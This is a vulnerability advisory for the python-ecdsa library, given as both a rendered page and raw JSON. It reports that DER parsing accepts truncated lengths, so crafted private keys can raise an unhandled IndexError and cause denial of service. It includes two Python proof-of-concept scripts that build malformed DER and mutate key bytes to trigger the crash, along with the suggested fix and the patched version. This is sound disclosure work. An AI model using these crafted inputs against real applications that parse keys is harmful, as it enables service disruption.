GHSA-9F5J-8JWJ-X28G
Vulnerability from github – Published: 2026-03-27 15:56 – Updated: 2026-03-30 20:17Summary
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
-
ecdsa.der.remove_octet_string()accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. -
Because of that, a crafted DER input can cause
SigningKey.from_der()to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raisingUnexpectedDERorValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.
Impact
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Reproduction
Attach and run the following PoCs:
poc_truncated_der_octet.py
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)
- Expected: reject malformed DER when declared length exceeds available bytes
- Actual: accepts the truncated DER and returns a shorter body
- Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)
poc_signingkey_from_der_indexerror.py
from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa.__version__)
sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))
def find_crashing_mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max_possible = len(b) - (i + 2)
if max_possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max_possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from_der(bytes(b2))
except Exception as e:
return i, type(e).__name__, str(e)
return None
res = find_crashing_mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from_der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)
- Expected: reject malformed DER with
UnexpectedDERorValueError - Actual: deterministically triggers an internal
IndexError(DoS risk) - Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')
Suggested fix
Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():
remove_octet_string()remove_constructed()remove_implicit()
Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.
Credit
Mohamed Abdelaal (@0xmrma)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ecdsa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33936"
],
"database_specific": {
"cwe_ids": [
"CWE-130",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:56:01Z",
"nvd_published_at": "2026-03-27T23:17:13Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n### poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00 -\u003e 4096 bytes\n# Actual body: only 3 bytes -\u003e truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n body, rest = remove_octet_string(bad)\n print(\"[BUG] remove_octet_string accepted truncated DER.\")\n print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n print(\"Body=\", body)\n print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n b = bytearray(data)\n\n # Try every OCTET STRING tag position and corrupt a short-form length byte\n for i in range(len(b) - 4):\n if b[i] != 0x04: # OCTET STRING tag\n continue\n\n L = b[i + 1]\n if L \u003e= 0x80:\n # skip long-form lengths for simplicity\n continue\n\n max_possible = len(b) - (i + 2)\n if max_possible \u003c= 10:\n continue\n\n # Claim more bytes than exist -\u003e truncation\n newL = min(0x7F, max_possible + 20)\n b2 = bytearray(b)\n b2[i + 1] = newL\n\n try:\n SigningKey.from_der(bytes(b2))\n except Exception as e:\n return i, type(e).__name__, str(e)\n\n return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n i, etype, msg = res\n print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, \u0027IndexError\u0027, \u0027index out of bounds on dimension 1\u0027)\n```\n\n## Suggested fix\n\nAdd \u201cdeclared length must fit buffer\u201d checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)",
"id": "GHSA-9f5j-8jwj-x28g",
"modified": "2026-03-30T20:17:11Z",
"published": "2026-03-27T15:56:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33936"
},
{
"type": "WEB",
"url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3"
},
{
"type": "PACKAGE",
"url": "https://github.com/tlsfuzzer/python-ecdsa"
},
{
"type": "WEB",
"url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.